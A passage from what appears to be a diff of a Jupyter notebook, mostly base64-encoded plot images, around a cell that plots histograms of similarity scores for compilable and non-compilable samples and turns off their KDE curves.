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", "text/plain": [ "
" ] @@ -2775,8 +2775,8 @@ "sns.set_context(\"talk\") # Increase font sizes\n", "\n", "# Histograms with enhancements\n", - "sns.histplot(compilable_similarities, color='blue', label='Compilable', kde=True, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", - "sns.histplot(non_compilable_similarities, color='red', label='Non-Compilable', kde=True, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", + "sns.histplot(compilable_similarities, color='blue', label='Compilable', kde=False, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", + "sns.histplot(non_compilable_similarities, color='red', label='Non-Compilable', kde=False, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", "\n", "# Add lines for means\n", "plt.axvline(mean_compilable, color='blue', linestyle='dashed', linewidth=1)\n", @@ -2807,12 +2807,12 @@ }, { "cell_type": "code", - "execution_count": 41, + "execution_count": 124, "metadata": {}, "outputs": [ { "data": { - "image/png": "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